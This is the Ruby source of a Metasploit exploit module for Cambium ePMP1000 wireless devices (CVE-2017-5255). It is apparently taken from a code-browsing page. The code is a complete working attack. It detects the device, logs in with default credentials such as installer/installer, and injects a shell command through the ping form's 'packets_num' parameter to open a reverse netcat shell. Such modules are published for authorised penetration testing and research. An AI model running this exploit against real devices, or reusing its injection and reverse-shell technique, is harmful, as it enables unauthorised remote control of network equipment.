Path: blob/master/modules/exploits/unix/http/epmp1000_ping_cmd_shell.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => "Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)",15'Description' => %q{16This module exploits an OS Command Injection vulnerability in Cambium17ePMP1000 device management portal. It requires any one of the following login18credentials - admin/admin, installer/installer, home/home - to set up a reverse19netcat shell.20},21'License' => MSF_LICENSE,22'Author' => [23'Karn Ganeshen <KarnGaneshen[at]gmail.com>'24],25'References' => [26['CVE', '2017-5255'],27['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],28['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']29],30'Privileged' => true,31'Targets' => [32[33'EPMP',34{35'Arch' => ARCH_CMD,36'Platform' => 'unix'37}38]39],40'DisclosureDate' => '2015-11-28',41'DefaultTarget' => 0,42'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' },43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.54OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),55OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])56], self.class57)5859deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')60end6162#63# Fingerprinting64#65def is_app_epmp1000?66begin67res = send_request_cgi(68{69'uri' => '/',70'method' => 'GET'71}72)73rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError74print_error("#{rhost}:#{rport} - HTTP Connection Failed...")75return false76end7778good_response = (79res &&80res.code == 200 &&81(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))82)8384if good_response85get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)86if !get_epmp_ver.nil?87epmp_ver = get_epmp_ver[1]88if !epmp_ver.nil?89print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")90return true, epmp_ver91else92print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")93epmp_ver = ''94return true, epmp_ver95end96end97else98print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")99epmp_ver = nil100return false101end102end103104#105# check106#107def check108success, epmp_ver = is_app_epmp1000?109if (success != 'false' && !epmp_ver.nil? && epmp_ver < '2.5')110return CheckCode::Vulnerable111else112return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using ~the module~'113end114end115116#117# Login118#119def login(user, pass)120res = send_request_cgi(121{122'uri' => '/cgi-bin/luci',123'method' => 'POST',124'headers' => {125'X-Requested-With' => 'XMLHttpRequest',126'Accept' => 'application/json, text/javascript, */*; q=0.01'127},128'vars_post' =>129{130'username' => 'dashboard',131'password' => ''132}133}134)135136cookies = res.get_cookies_parsed137check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s138139good_response = (140res &&141res.code == 200 &&142check_sysauth.include?('sysauth')143)144145if good_response146sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s147sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)148149cookie1 = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"150151res = send_request_cgi(152{153'uri' => '/cgi-bin/luci',154'method' => 'POST',155'cookie' => cookie1,156'headers' => {157'X-Requested-With' => 'XMLHttpRequest',158'Accept' => 'application/json, text/javascript, */*; q=0.01',159'Connection' => 'close'160},161'vars_post' =>162{163'username' => user,164'password' => pass165}166}167)168169cookies = res.get_cookies_parsed170171good_response = (172res &&173res.code == 200 &&174!res.body.include?('auth_failed')175)176177if good_response178print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")179180# check if max_user_number_reached?181if !res.body.include?('max_user_number_reached')182# get the final cookie now183cookies = res.get_cookies_parsed184stok_value = cookies.has_key?('stok') && cookies['stok'].first185sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s186sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)187188final_cookie = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + stok_value189190# create config_uri191config_uri_ping = '/cgi-bin/luci/;stok=' + stok_value + '/admin/ping'192193return final_cookie, config_uri_ping194else195print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')196final_cookie = 'skip'197config_uri_ping = 'skip'198return final_cookie, config_uri_ping199end200else201print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")202final_cookie = 'skip'203config_uri_ping = 'skip'204return final_cookie, config_uri_ping205end206end207end208209#210# open cmd_shell211#212def cmd_shell(config_uri, cookie)213command = payload.encoded214inject = '|' + "#{command}" + ' ||'215clean_inject = CGI.unescapeHTML(inject.to_s)216217print_status('Sending payload...')218219res = send_request_cgi(220{221'method' => 'POST',222'uri' => config_uri,223'cookie' => cookie,224'headers' => {225'Accept' => '*/*',226'Accept-Language' => 'en-US,en;q=0.5',227'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',228'X-Requested-With' => 'XMLHttpRequest',229'Connection' => 'close'230},231'vars_post' =>232{233'ping_ip' => '127.0.0.1', # This parameter can also be used for injection234'packets_num' => clean_inject,235'buf_size' => 0,236'ttl' => 1,237'debug' => '0'238}239}, 25240)241handler242end243244# exploit245246def exploit247success, epmp_ver = is_app_epmp1000?248if epmp_ver < '2.5'249cookie, config_uri_ping = login(datastore['USERNAME'], datastore['PASSWORD'])250if cookie == 'skip' && config_uri_ping == 'skip'251return252else253cmd_shell(config_uri_ping, cookie)254end255else256print_error('This ePMP version is not vulnerable. Module will not continue.')257return258end259end260end261262263